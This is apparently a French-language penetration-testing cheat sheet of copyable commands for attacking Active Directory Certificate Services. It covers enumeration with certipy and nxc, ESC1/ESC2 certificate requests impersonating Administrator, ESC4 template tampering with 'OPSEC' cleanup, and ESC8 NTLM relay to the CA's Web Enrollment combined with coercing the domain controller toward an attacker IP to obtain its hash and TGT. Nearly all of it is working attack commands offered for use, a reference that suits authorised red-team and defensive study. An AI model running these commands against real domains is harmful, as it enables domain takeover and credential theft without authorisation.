ACL & GPO

ADCS Attacks

Enumérer les CAs, exploiter les ESC paths et relayer NTLM vers le Web Enrollment.

Enumération ADCS

Copy command
nxc ldap $DC -u $USER -p $PASS -M adcs

Description: Détecter la présence d'un CA et lister les Certificate Authorities du domaine.

Copy command
certipy find -u '$USER@$DOMAIN' -p $PASS -dc-ip $DC -vulnerable

Description: Lister uniquement les templates vulnérables avec leur chemin d'exploitation.

Copy command
certipy find -u '$USER@$DOMAIN' -p $PASS -dc-ip $DC -stdout

Description: Sortie lisible en terminal plutôt que JSON : bon pour un premier coup d'oeil.

Copy command
gf ldap -t $DC -u $USER -p $PASS --adcs

Description: Détection rapide des misconfigs ADCS depuis GoFenrir.

ESC1 & ESC2

Copy command
certipy req -u '$USER@$DOMAIN' -p $PASS -ca $CA -template $TEMPLATE -upn administrator@$DOMAIN

Description: ESC1 : usurper l'UPN d'Administrator dans le certificat si le template le permet.

Copy command
certipy req -u '$USER@$DOMAIN' -p $PASS -ca $CA -template $TEMPLATE -dns $TARGET.$DOMAIN

Description: ESC2 : utiliser le champ DNS SAN pour cibler une machine spécifique.

Copy command
certipy auth -pfx administrator.pfx -dc-ip $DC

Description: Authentification avec le certificat : récupère TGT + NT hash d'Administrator.

Copy command
certipy auth -pfx administrator.pfx -dc-ip $DC -ldap-shell

Description: Shell LDAP interactif post-auth certificat pour manipuler les objets AD directement.

ESC4 & ESC6

Copy command
certipy template -u '$USER@$DOMAIN' -p $PASS -template $TEMPLATE -save-old

Description: ESC4 : sauvegarder la config du template avant modification pour pouvoir restaurer.

Copy command
certipy template -u '$USER@$DOMAIN' -p $PASS -template $TEMPLATE -configuration $TEMPLATE_OLD

Description: Restaurer le template modifié après exploitation : nettoyage OPSEC.

Copy command
certipy find -u '$USER@$DOMAIN' -p $PASS -dc-ip $DC -enabled

Description: ESC6 : chercher les templates avec EDITF_ATTRIBUTESUBJECTALTNAME2 activé sur la CA.

ESC8 : Relay vers ADCS

Copy command
nxc smb $CIDR -u $USER -p $PASS --gen-relay-list relay.txt

Description: Identifier d'abord les hôtes sans SMB signing pour la coercition.

Copy command
ntlmrelayx.py -t http://$CA/certsrv/certfnsh.asp --adcs --template $TEMPLATE

Description: ESC8 : relay NTLM directement vers le Web Enrollment du CA pour obtenir un certificat.

Copy command
coercer coerce -u $USER -p $PASS -d $DOMAIN -t $DC -l $ATTACKER_IP

Description: Coercer le DC vers notre relay : son hash arrive dans ntlmrelayx.

Copy command
certipy auth -pfx b64cert.pfx -dc-ip $DC

Description: Authentification avec le certificat capturé via relay : TGT + hash DC.